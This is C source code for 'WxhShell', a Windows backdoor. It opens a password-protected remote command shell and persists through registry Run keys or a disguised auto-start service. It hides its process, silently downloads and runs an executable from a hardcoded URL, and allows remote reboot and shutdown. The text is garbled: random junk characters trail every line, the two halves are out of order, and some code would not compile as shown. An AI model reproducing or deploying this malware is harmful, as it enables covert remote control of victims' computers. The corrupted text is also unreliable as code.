    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8'+7i8e  
    if(Boot(SHUTDOWN)) Xt\Dy   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TKd6MZhT  
    else { Gj)uy jct  
    closesocket(wsh); * ]>])ms)  
    ExitThread(0); 9+t =|  
    }  K,6OGsh  
    break; C]M7GHe1q  
    } &"xQ~05  
  // 获取shell o7J{+V  
  case 's': { E_]k>bf\  
    CmdShell(wsh); Xh`"  
    closesocket(wsh); loLKm]yV  
    ExitThread(0); g(nK$,c  
    break; 0juDuE?  
  } +3)[> {~1Z  
  // 退出 !n:uiwh  
  case 'x': { ]b> pI;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (ZS/@He  
    CloseIt(wsh); wz h.$?~  
    break; - {0g#G  
    } 4Mi~1iZj  
  // 离开 ;sCU [4  
  case 'q': { qZ&a76t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /-><k,mL?  
    closesocket(wsh); q P'[&h5Y  
    WSACleanup(); Rh[Ibm56  
    exit(1); vn``0!FX  
    break; (m/aV  
        } 4 ]sCr+   
  } &/iFnYVhy  
  } >2u y  
g9`[Y~  
  // 提示信息 YQ+^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); loBtd%wY  
} TH YVT%v  
  } @"w2R$o  
v[smQO  
  return; VE*j*U j  
} _!%M%  
V!W1fb7V  
// shell模块句柄 (2d3jQN`  
int CmdShell(SOCKET sock) Hxn<(gd G  
{ yZ5 x8 8>  
STARTUPINFO si; }f]b't  
ZeroMemory(&si,sizeof(si)); qrpb[)Ll  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bb}?h]a   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; IqNpLh|[  
PROCESS_INFORMATION ProcessInfo; rpSr^slr  
char cmdline[]="cmd"; l^ Rm0t_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JCNk\@0i*  
  return 0; l 1|~  
} }I]W'<jY  
/h7.oD8CU  
// 自身启动模式 j3{HkcjJG  
int StartFromService(void) 1 #q^uqO0  
{ 3(C :X1  
typedef struct S*xhX1yUi  
{ 2uEhOi0I  
  DWORD ExitStatus; xG8`'SNY  
  DWORD PebBaseAddress; 0U%Xm[:  
  DWORD AffinityMask; |/*pT1(&  
  DWORD BasePriority; /LF3O~Go  
  ULONG UniqueProcessId; C 0>=x{,v  
  ULONG InheritedFromUniqueProcessId; fx]eDA|$e  
}   PROCESS_BASIC_INFORMATION; nc&Jmo7  
HA1]M`&  
PROCNTQSIP NtQueryInformationProcess; O) 1E$#~  
S+iP^*L,c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $o"g73`3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SOs,)  
C38%H  
  HANDLE             hProcess; /K@$#x_{  
  PROCESS_BASIC_INFORMATION pbi; .yX>.>"T|  
|AC6sfA+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `.[ 8$  
  if(NULL == hInst ) return 0; P.h.M A]  
QLn+R(r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a*s\Em7f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4\HsU9x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z(`r-}f I  
|(RZ/d<X\a  
  if (!NtQueryInformationProcess) return 0; p1~*;;F  
6g~+( ({lQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {-h, ZdH^  
  if(!hProcess) return 0; fnWsm4  
S/fW/W*/}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .jargvAL*  
{>h97}P  
  CloseHandle(hProcess); B4^`Sw  
>(3'Tnu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &XtRLt gS  
if(hProcess==NULL) return 0; x9~[HuJ  
4w;~4#ZPp  
HMODULE hMod; BGzO!s*@j  
char procName[255]; hlC%HA  
unsigned long cbNeeded; ]-a{IWVN  
FT( iX `YQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -X8eabb  
EHhd;,;O  
  CloseHandle(hProcess); sUbF Rq  
}[v~&  
if(strstr(procName,"services")) return 1; // 以服务启动 2( _=SfQ  
Um\0i;7 ~4  
  return 0; // 注册表启动 8U=A{{0p  
} o:9$UV[  
B2(,~^39  
// 主模块 b2s~%}T  
int StartWxhshell(LPSTR lpCmdLine) akCIa'>t  
{ ^j=bObaX  
  SOCKET wsl; ${>DhfF  
BOOL val=TRUE; Sr"/-  
  int port=0; fI]bzv;  
  struct sockaddr_in door; jA<T p}$!  
n_9x"m$  
  if(wscfg.ws_autoins) Install(); F@EJtwLd5y  
>A=\8`T^  
port=atoi(lpCmdLine); (bvoF5%  
<xqba4O  
if(port<=0) port=wscfg.ws_port; { 8p\Y  
SK-W%t  
  WSADATA data; @[v8}D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @RVOXkVo  
!+KhFC&Py  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e T-9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {(Fe7,.S3  
  door.sin_family = AF_INET; Jn#K0( FQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ] D6|o5  
  door.sin_port = htons(port); lkwh'@s.  
{g_@Tuu  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;{Jb6'K1h  
closesocket(wsl); ^mfjn-=3  
return 1; <[<247%  
} y 1nU{Sc@  
7=3O^=Q ^Q  
  if(listen(wsl,2) == INVALID_SOCKET) { l[*sHi  
closesocket(wsl); IT&i,`cJ~F  
return 1; no|Gq>Xp  
} TVeJ6  
  Wxhshell(wsl); q% E C  
  WSACleanup(); u*2JUI*  
]| WA#8_|  
return 0; FUqt)YHi  
Xm@aYNV  
} }N]!0Ka  
g_M ^E-3  
// 以NT服务方式启动 =~J fVozU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JO}?.4B  
{ ,]q%/yxi  
DWORD   status = 0; RUX8qT(Z  
  DWORD   specificError = 0xfffffff; t3>$|}O]t  
VYigxhP7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _l T0H u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7P*Z0%Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mPG7Zy$z  
  serviceStatus.dwWin32ExitCode     = 0; lD3)TAW@o  
  serviceStatus.dwServiceSpecificExitCode = 0; _z]v<,=3M  
  serviceStatus.dwCheckPoint       = 0; 2kJ!E@n7  
  serviceStatus.dwWaitHint       = 0; u>o<tw%Y  
zt?H~0$LB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #HG&[Ywi  
  if (hServiceStatusHandle==0) return; DqlK.  
[pR)@$"k'  
status = GetLastError(); "teyi"U+  
  if (status!=NO_ERROR) X+at%L=  
{ 9-93aC.|}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ux_<d?p  
    serviceStatus.dwCheckPoint       = 0; G"> 0]LQ  
    serviceStatus.dwWaitHint       = 0; `xIh\q  
    serviceStatus.dwWin32ExitCode     = status; tW(+xu36  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^@"c`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \ 3G*j`  
    return; X:{WZs"[x  
  } ]1}h8/  
F.0d4:A+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Tq#<Po $  
  serviceStatus.dwCheckPoint       = 0; =G>.-Qfs  
  serviceStatus.dwWaitHint       = 0; q^]tyU!w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q!]IG;3Sx|  
}  (YrR8  
w[sR7T9*  
// 处理NT服务事件,比如:启动、停止 [Xh\m DU.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pYh!]0n  
{ $T/#1w P  
switch(fdwControl) \u8,!) 4i  
{ [-58Ezyr  
case SERVICE_CONTROL_STOP: $?$9y ^\  
  serviceStatus.dwWin32ExitCode = 0; pL)xqKj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @H+~2;B,  
  serviceStatus.dwCheckPoint   = 0; 9[sG1eP!  
  serviceStatus.dwWaitHint     = 0; 5p )IV>G  
  { +V1}@6k :  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9GPb$ gtx  
  } j{"[Ec  
  return; L=m:/qQL  
case SERVICE_CONTROL_PAUSE: ]#5^&w)'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5[<F_"x  
  break; u G[!w!e  
case SERVICE_CONTROL_CONTINUE: 8f-:d]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;dOs0/UM&  
  break; Mciq-c)  
case SERVICE_CONTROL_INTERROGATE: JCcQd 01z  
  break; {,Fcd(MU  
}; r{Z[xWIX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SB1[jcJ  
} ]>vf9]  
X'@f"=v9k  
// 标准应用程序主函数 hHEPNR[.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $+TYvA'N  
{ ?`aTu:1#Z  
"& Mou  
// 获取操作系统版本 oAnigu;  
OsIsNt=GetOsVer(); K7Gm-=%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }9=2g`2Q  
F"=Hp4-C  
  // 从命令行安装 iD`k"\>9  
  if(strpbrk(lpCmdLine,"iI")) Install(); HL8(lPgS  
5H*>  
  // 下载执行文件 h ~fWE  
if(wscfg.ws_downexe) { r w\D>} \  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {U6"]f%  
  WinExec(wscfg.ws_filenam,SW_HIDE); pg!`SxFD  
} 1I \tu  
yLB~P7K  
if(!OsIsNt) { ALAL( f`  
// 如果时win9x,隐藏进程并且设置为注册表启动 @p6@a6N%  
HideProc(); f8#*mQ  
StartWxhshell(lpCmdLine); $`v+4]   
}  mmcdtVe  
else _4!{IdR  
  if(StartFromService()) Wxs>osq  
  // 以服务方式启动 bKByU{t  
  StartServiceCtrlDispatcher(DispatchTable); FF3&Y^+^"  
else fCr\u6Tb  
  // 普通方式启动 E\iJP^n  
  StartWxhshell(lpCmdLine); |K)p]i+  
!%wdn33"  
return 0; wI>h%y-%!  
} gWi{\x8dt  
ZMe}M!V  
=1/q)b,p)  
zv@bI~3~  
=========================================== -nG wuEngP  
c"qPTjY  
#Z!#;%S  
U$%|0@`~  
AI~9m-,mE  
f,JX"  
" on_H6Y@B52  
3t*#!^$  
#include <stdio.h> %i3{TL  
#include <string.h> h(|;\~  
#include <windows.h> Zd+>  
#include <winsock2.h> =+4 _j  
#include <winsvc.h> egWx9xX  
#include <urlmon.h> o"\{OX  
p>&S7M/9  
#pragma comment (lib, "Ws2_32.lib")  -tMA  
#pragma comment (lib, "urlmon.lib") b@!:=_Mr  
fzyzuS$  
#define MAX_USER   100 // 最大客户端连接数 EU9[F b]  
#define BUF_SOCK   200 // sock buffer )6 k1 P  
#define KEY_BUFF   255 // 输入 buffer 3u4:l  
VAg68 EbnF  
#define REBOOT     0   // 重启 dxntGH< O  
#define SHUTDOWN   1   // 关机 L W?&a3e  
A9iQ{l  
#define DEF_PORT   5000 // 监听端口 _{mJ.1)V;  
!")WZq^`  
#define REG_LEN     16   // 注册表键长度 'xk1o,;  
#define SVC_LEN     80   // NT服务名长度 IW mHp]  
,0h3x$l)   
// 从dll定义API {Y^c*Iqn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ozuIwzi7N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $Ba`VGP>)3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Qi"'bWX@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j=\Mx6os  
,$ mLL  
// wxhshell配置信息 El+Ft.7  
struct WSCFG { 99EX8  
  int ws_port;         // 监听端口 :cb[M5c  
  char ws_passstr[REG_LEN]; // 口令 -aT=f9u  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3r`<(%\  
  char ws_regname[REG_LEN]; // 注册表键名 {>A 8g({i  
  char ws_svcname[REG_LEN]; // 服务名 k5C>_( A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jQkUNPHu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }I)z7l.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p KnIQa[c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l:x _j\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" | 4 `.#4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9GaL0OWo  
{n6\g]p3  
}; mgxz1d  
{RH*8?7  
// default Wxhshell configuration 'Nw6.5  
struct WSCFG wscfg={DEF_PORT, @E YK(QS-  
    "xuhuanlingzhe", (]}XLMi,|!  
    1, $M-NR||k  
    "Wxhshell", !bieo'c  
    "Wxhshell", 8| Sba<d  
            "WxhShell Service", ZRUh/<\[  
    "Wrsky Windows CmdShell Service", [C2kK *JZ  
    "Please Input Your Password: ", }pt-q[s>  
  1, J7_8$B-j7  
  "http://www.wrsky.com/wxhshell.exe", c9|I4=_K  
  "Wxhshell.exe" PJ}[D.elO  
    }; \k4M{h6  
tfsh!)u?  
// 消息定义模块 &`m~o/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %Dl_}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ty.drM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uO6c3|Zjs  
char *msg_ws_ext="\n\rExit."; ;*_I,|A:Xr  
char *msg_ws_end="\n\rQuit."; 9wzg{4/-$  
char *msg_ws_boot="\n\rReboot..."; XQ4dohGCP  
char *msg_ws_poff="\n\rShutdown..."; c_t7RWV}  
char *msg_ws_down="\n\rSave to "; Y5Ft96o))x  
roL}lM$  
char *msg_ws_err="\n\rErr!"; I51M}b,[d  
char *msg_ws_ok="\n\rOK!"; w9'H.L q  
{Qm6?H  
char ExeFile[MAX_PATH]; ?F9hDLX  
int nUser = 0; O-?z' @5cI  
HANDLE handles[MAX_USER]; f x%z| K  
int OsIsNt; EmF]W+!z%  
F W/)uf3I  
SERVICE_STATUS       serviceStatus; A<a2TXcIE3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t ]71  
[9w, WJL  
// 函数声明 jt/l,=9YK  
int Install(void); #DrZ`Aq  
int Uninstall(void); WT I'O  
int DownloadFile(char *sURL, SOCKET wsh); .HQVj'g  
int Boot(int flag); 38<~R  
void HideProc(void); t]gq+ c Lo  
int GetOsVer(void); %}\ vW  
int Wxhshell(SOCKET wsl); K90D1sD  
void TalkWithClient(void *cs); {jrZ?e-q  
int CmdShell(SOCKET sock); IruyE(;HS  
int StartFromService(void); G3oxa/mO  
int StartWxhshell(LPSTR lpCmdLine); 5f/@: ~  
x_]",2 W'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |:dCVd<du  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \ YjB+[.  
3x,Aczb  
// 数据结构和表定义 4S^  
SERVICE_TABLE_ENTRY DispatchTable[] = t*eleNYeS~  
{ O7! fI'R  
{wscfg.ws_svcname, NTServiceMain}, =%:JjgKc*t  
{NULL, NULL} t%0r"bTi  
}; k\Yu5)  
Qfwwh`;  
// 自我安装 yLV2>kq  
int Install(void) AECxd[k$9  
{ XB6N[E  
  char svExeFile[MAX_PATH]; Ym3 "  
  HKEY key; XCKY xv&  
  strcpy(svExeFile,ExeFile); cw*(L5b u  
*pDXcURw  
// 如果是win9x系统,修改注册表设为自启动 |TC3*Y  
if(!OsIsNt) { V]+o)A$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?3.(Vqwog  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^A:!ni@3  
  RegCloseKey(key); [_B+DD=}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GZxglU,3T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;a#}fX  
  RegCloseKey(key); "US" `a2  
  return 0; e5]&1^+  
    } 4W[AXDS  
  } /h{go]&Nb  
} rTN"SQt  
else { B:.;,@r]  
]C9%]`  
// 如果是NT以上系统,安装为系统服务 <K|3Q'(S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wghFGHgw  
if (schSCManager!=0) NN31?wt  
{ Dwm@E\^ihm  
  SC_HANDLE schService = CreateService WO.}DUfG+  
  ( 'YBLU)v[  
  schSCManager, !7kAJG g  
  wscfg.ws_svcname, :Vu7,o  
  wscfg.ws_svcdisp, R^mu%dw)(%  
  SERVICE_ALL_ACCESS, p~v2XdR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w0q?\qEX  
  SERVICE_AUTO_START, KZ367&>b7  
  SERVICE_ERROR_NORMAL, I{i:B  
  svExeFile, D5o+ 0R  
  NULL, bCJ<=X,g`K  
  NULL, ~(w=U *  
  NULL, V{7lltu  
  NULL, 5n&)q=jk=  
  NULL ==PQ-Ia  
  ); V{ 4i$'  
  if (schService!=0) 9Bbm7Gd  
  { ?NL&x  
  CloseServiceHandle(schService); I;bg?RsF  
  CloseServiceHandle(schSCManager); X_^_r{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ww a41z  
  strcat(svExeFile,wscfg.ws_svcname); t?3{s\z8+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q?e16M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o O{|C&A  
  RegCloseKey(key); )<H 91:.  
  return 0; 's56L,^:  
    } 1I:"0("}  
  } sWojQ-8}  
  CloseServiceHandle(schSCManager); Wo1V$[`Dy  
} F3H:I"4  
} 3:02`;3  
;f\R$u-  
return 1; )-TeDIfm  
} 3cV+A]i  
#XYLVee,  
// 自我卸载 a!hI${Xn  
int Uninstall(void) =/!{<^0  
{  \\E_W9.u  
  HKEY key; 8CN7+V  
V29S*  
if(!OsIsNt) { eNlF2M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q7)]cY_  
  RegDeleteValue(key,wscfg.ws_regname); ctwhfS|Y0  
  RegCloseKey(key); + !E{L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ((hJmaq  
  RegDeleteValue(key,wscfg.ws_regname); .SRuyioF&  
  RegCloseKey(key); Le#E! sU  
  return 0; vV&AG1_Mv  
  } h[[/p {z  
} h~=\/vF  
} n+RUPZ  
else { {Vt^Xc  
>? A `C!i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w# gU1yu  
if (schSCManager!=0) 6qHvq A,  
{ "0!eb3n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |({UV-`  
  if (schService!=0) b;~EJ  
  { sg9x?Bx9  
  if(DeleteService(schService)!=0) { dl3LDB  
  CloseServiceHandle(schService); /!&b'7y  
  CloseServiceHandle(schSCManager); c?V*X-   
  return 0; 5qeS|]^`  
  } ;nAg4ll8Q  
  CloseServiceHandle(schService); 7zJh;f/  
  } ^V0{Ew /x  
  CloseServiceHandle(schSCManager); c5mhl;+'  
} M~g~LhsF  
} 'nj&}A'  
fjK]m.w  
return 1; 4LKs'$:A=  
} %RT6~0z  
J!TK*\a2  
// 从指定url下载文件 B3g82dm  
int DownloadFile(char *sURL, SOCKET wsh) 9-Nq[i"  
{ ,P; a/{U  
  HRESULT hr; [/fwt!  
char seps[]= "/"; {pQ@0 b  
char *token; u;'<- _  
char *file; *nUpO]  
char myURL[MAX_PATH]; c|;|%"Mk  
char myFILE[MAX_PATH]; !Z0rTC3d  
wEHrer  
strcpy(myURL,sURL); 6GrMcI@hS  
  token=strtok(myURL,seps); }:c,S O!  
  while(token!=NULL) 7&;jje[ <g  
  { ;]#4p8lh+  
    file=token; ;o)`9<es!2  
  token=strtok(NULL,seps); A86lyBDQ*  
  } ZjI/zqBm  
f)s_e  
GetCurrentDirectory(MAX_PATH,myFILE); l_q>(FoqA  
strcat(myFILE, "\\"); [:hy  
strcat(myFILE, file); L_zmU_zD  
  send(wsh,myFILE,strlen(myFILE),0); [Yahxw}  
send(wsh,"...",3,0); (82\&dfy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KiRt'  
  if(hr==S_OK) @)juP- o%  
return 0; 2Ws/0c  
else dc@wf;o  
return 1; s2' :&5(  
4f@\f7 \  
} L8-[:1  
:+dWJNY:  
// 系统电源模块 HV.|Eh_7  
int Boot(int flag) 52C-D+zCJ  
{ x#e\ H F  
  HANDLE hToken; rEpKX  
  TOKEN_PRIVILEGES tkp; vdFQf ^l  
V.a]IkK'K  
  if(OsIsNt) { 4Z T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t[yD8h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;x0KaFk  
    tkp.PrivilegeCount = 1; Sy0s `\[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [ sO<6?LY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VL!kX``^F  
if(flag==REBOOT) {  rgvc5p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \z2hXT@D  
  return 0; s:Ql](/B#  
} r1[T:B'  
else { MzW$Sl&:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #O974f8  
  return 0; ZWe$(?  
} -_f0AfU/a  
  } #uw*8&%0  
  else { fdEj#Ux<H  
if(flag==REBOOT) { g:e8i~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s8I77._s  
  return 0; YrcC"  
} &7kSLat+9{  
else { c$SxDYG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~x^+OXf!^g  
  return 0; T9;o.f S  
} E|A_|FS&%  
} }m lbN0v  
"BNmpP  
return 1; >_% g8T'  
} P9cI{RI  
z^GGJu%vjr  
// win9x进程隐藏模块 {Ll8@'5  
void HideProc(void) x)sDf!d4bi  
{ $bC!T  
zmS-s\$,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Mn{Rg>X  
  if ( hKernel != NULL ) j9fL0$+FI  
  { zs^\z Cb8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8lb `   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =ir;m  
    FreeLibrary(hKernel); XV9'[V  
  } }sNZQ89V*v  
eDZ3SIZ  
return; X1~A "sW[  
} x=r6vOj  
uRcuy/CY  
// 获取操作系统版本 7Qztc?XK  
int GetOsVer(void) LZbHK.G=  
{ "'dC>7*<  
  OSVERSIONINFO winfo; >t<R6f_Q0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qpH-P8V   
  GetVersionEx(&winfo); rTiuQdvo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J#;m)5[ a%  
  return 1; <6@NgSFz'  
  else Oua/NF)  
  return 0; jM@I"JZ b  
} 2"K~:Tm#w  
!g:G{b  
// 客户端句柄模块 ?\$/#zak  
int Wxhshell(SOCKET wsl) }Nc!8'@  
{ .Zz7LG{  
  SOCKET wsh; ^[NmNi*  
  struct sockaddr_in client; "_}D{ws1  
  DWORD myID; WC&Ltw8  
,<WykeC  
  while(nUser<MAX_USER) g}j>;T  
{ DL Q`<aU  
  int nSize=sizeof(client); }XE/5S}D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y]Nab0R&  
  if(wsh==INVALID_SOCKET) return 1; PvCE}bY{}  
H;te)km}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gjh7cm>  
if(handles[nUser]==0) `^h##WaXap  
  closesocket(wsh); @G{DOxE*  
else |#kf.kN  
  nUser++; gV>\lMc[-%  
  } i-W2!;G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $1 \!Oe[i  
.F|WQ7Mu  
  return 0; PG]mwaj])  
} 7lOiFw  
)_ u'k /  
// 关闭 socket VDN]P3   
void CloseIt(SOCKET wsh) *zht(~%  
{ %NoZf^ ?  
closesocket(wsh); cO+`8`kv  
nUser--; 74OM tLL$  
ExitThread(0); |hyr(7  
} ^>28>!"1  
hiM!htc;M  
// 客户端请求句柄  ?wY.B  
void TalkWithClient(void *cs) /;ITnG  
{ "Y0[rSz,UW  
'.<"jZ  
  SOCKET wsh=(SOCKET)cs; !XC7F UO  
  char pwd[SVC_LEN]; J#WPXE+Ds  
  char cmd[KEY_BUFF]; ,i.P= o  
char chr[1]; 1 j8,Zrg1  
int i,j; d(XWt;KK  
96j2D8=w  
  while (nUser < MAX_USER) { ~ $&  
=)bc/309  
if(wscfg.ws_passstr) { :b-(@a7>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OR{"9)I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M XQ7%G  
  //ZeroMemory(pwd,KEY_BUFF); \/Y<.#?_  
      i=0; lU& IS?^?  
  while(i<SVC_LEN) { iiscm\  
DdgFBO  
  // 设置超时 p,fin?nW c  
  fd_set FdRead; =;T[2:JUu  
  struct timeval TimeOut; J-c7ZcTt  
  FD_ZERO(&FdRead); 2S/7f:  
  FD_SET(wsh,&FdRead); ZC-N4ESr  
  TimeOut.tv_sec=8; F6/bq/s  
  TimeOut.tv_usec=0; z{x -Vfd  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); EK^2 2vi$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); us+adS.l&  
X}Fv*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V ZGhF!To  
  pwd=chr[0]; 3 Gkw.  
  if(chr[0]==0xd || chr[0]==0xa) { #>'0C6Xn  
  pwd=0; /-lmfpT  
  break; 2F(j=uV+  
  } v/dcb%  
  i++; }S4Fy3)  
    } c,^-nH'X>  
FTe#@\I  
  // 如果是非法用户,关闭 socket =t2epIr 5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NKws;/u  
} ImVe 71mh  
k6\c^%x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  O(!'V~3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3#unh`3b  
=Ju}{ bX  
while(1) { \D=B-dREq  
J/Li{xp)Lg  
  ZeroMemory(cmd,KEY_BUFF); l ki(_ @3  
8:MYeE5  
      // 自动支持客户端 telnet标准   cW\7yZh  
  j=0; "+AD+D  
  while(j<KEY_BUFF) { J2rH<Fd[up  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c 9@*  
  cmd[j]=chr[0]; kQ+5p Fo3  
  if(chr[0]==0xa || chr[0]==0xd) { hSmM OS{  
  cmd[j]=0; gqG"t@Y+  
  break; !O*n6}nPE  
  } $[Ns#7K  
  j++; QHK$  
    } YeVhWPn@  
joq ;N]S  
  // 下载文件 k?,g:[4!  
  if(strstr(cmd,"http://")) { aU @z\sQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &* iiQ3  
  if(DownloadFile(cmd,wsh)) tp7fmn*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uka 4iya  
  else Qi M>59[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 81&!!qhfS  
  } @Hzsud  
  else { i~4Kek6,I  
S1."2AxO  
    switch(cmd[0]) { s*;~CH-[  
